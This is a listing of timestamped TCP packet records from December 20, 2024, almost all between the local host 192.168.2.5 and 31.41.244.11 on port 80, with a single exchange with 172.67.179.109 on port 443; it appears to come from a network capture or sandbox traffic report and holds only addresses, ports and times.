Dec 20, 2024 02:11:20.799710035 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.799751043 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.801697969 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.801745892 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.801750898 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.801783085 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.803736925 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.803780079 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.803845882 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.803890944 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.805816889 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.805859089 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.805861950 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.805895090 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.807873964 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.807944059 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.807960987 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.807997942 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.810014009 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.810086012 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.810101032 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.810138941 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.812066078 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.812084913 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.812140942 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.814080954 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.814131975 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.814162970 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.814205885 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.816176891 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.816226959 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.816298962 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.816339970 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.818239927 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.818303108 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.818331003 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.818372965 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.820296049 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.820347071 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.820391893 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.820432901 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.822395086 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.822443962 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.822472095 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.822529078 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.824455976 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.824511051 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.824548960 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.824592113 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.826540947 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.826600075 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.826625109 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.826663971 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.828588963 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.828660965 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.828700066 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.828738928 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.830661058 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.830723047 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.830763102 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.830800056 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.832763910 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.832824945 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.832832098 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.832870007 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.834803104 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.834844112 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.834913015 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.834950924 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.836901903 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.836977959 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.837024927 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.837064981 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.838968992 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.839026928 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.839035988 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.839068890 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.841029882 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.841100931 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.841141939 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.841181040 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.843132019 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.843179941 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.843214989 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.843254089 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.845189095 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.845251083 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.845375061 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.845428944 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.847245932 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.847287893 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.847352028 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.847390890 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.849337101 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.849380970 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.849477053 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.849522114 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.851382017 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.851485014 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.851495028 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.851533890 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.853486061 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.853529930 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.853553057 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.853595018 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.855576038 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.855614901 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.855643988 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.855689049 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.857611895 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.857661963 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.857703924 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.857742071 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.859699011 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.859757900 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.859812975 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.859850883 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.861741066 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.861809015 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.861836910 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.861875057 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.863853931 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.863898993 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.863936901 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.863976955 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.865900040 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.865942001 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.865988970 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.866039991 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.867963076 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.868055105 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.868057966 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.868094921 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.870035887 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.870105982 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.870130062 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.870167971 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.872081995 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.872149944 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.958234072 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.958265066 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.958453894 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.958739996 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.958791018 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.958806992 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.958853960 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.960462093 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.960520983 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.960556984 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.960604906 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.962148905 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.962196112 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.962318897 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.962363958 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.963852882 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.963908911 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.963937998 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.963983059 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.965524912 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.965583086 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.965624094 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.965672970 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.967152119 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.967201948 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.967289925 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.967335939 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.968816996 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.968905926 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.968915939 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.968950033 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.970470905 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.970518112 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.970578909 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.970623016 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.972002029 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.972049952 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.972074986 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.972115040 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.973639965 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.973702908 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.973771095 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.973814011 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.975172043 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.975215912 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.975281954 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.975333929 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.976720095 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.976774931 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.976813078 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.976856947 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.978235960 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.978283882 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.978308916 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.978351116 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.979842901 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.979882956 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.979933977 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.979969978 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.981345892 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.981400013 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.981447935 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.981491089 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.982748032 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.982794046 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.982868910 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.982909918 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.984384060 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.984415054 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.984428883 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.984467030 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.985696077 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.985745907 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.985788107 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.985832930 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.987164974 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.987209082 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.987329006 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.987371922 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.988615990 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.988660097 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.988713026 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.988753080 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.990051985 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.990134954 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.990215063 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.990257978 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.991492033 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.991532087 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.991564035 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.991600037 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.992867947 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.992916107 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.992984056 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.993029118 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.994286060 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.994335890 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.994487047 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.994530916 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.995721102 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.995789051 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.995842934 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.995865107 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.997090101 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.997138023 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.997183084 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.997221947 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.998505116 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.998564005 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.998608112 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.998719931 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:20.999897957 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:20.999944925 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.000005007 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.000050068 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.001257896 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.001332998 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.001372099 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.001419067 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.002660036 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.002720118 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.002757072 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.002794981 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.004075050 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.004127026 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.004196882 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.004241943 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.005498886 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.005542994 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.005606890 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.005655050 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.006906986 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.006917000 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.006963015 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.006994009 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.008286953 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.008338928 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.008399963 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.008440971 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.009684086 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.009743929 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.009783030 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.009824038 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.011065006 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.011138916 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.011181116 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.011224031 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.012500048 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.012572050 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.012614012 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.012661934 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.013905048 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.013952971 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.013957024 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.013992071 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.015278101 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.015328884 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.015399933 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.015444040 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.016690969 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.016740084 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.016809940 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.016853094 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.018243074 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.018285990 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.018302917 CET	443	49860	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:21.018372059 CET	49860	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:21.018388033 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.018441916 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.019509077 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.019556046 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.019591093 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.019633055 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.020890951 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.020931005 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.020998955 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.021084070 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.022279024 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.022322893 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.022362947 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.022403955 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.023714066 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.023794889 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.023833990 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.023883104 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.025101900 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.025146961 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.025188923 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.025228977 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.026527882 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.026571035 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.026607990 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.026650906 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.028028965 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.028085947 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.028124094 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.028177977 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.029349089 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.029392004 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.029433012 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.029476881 CET	49855	80	192.168.2.5	31.41.244.11
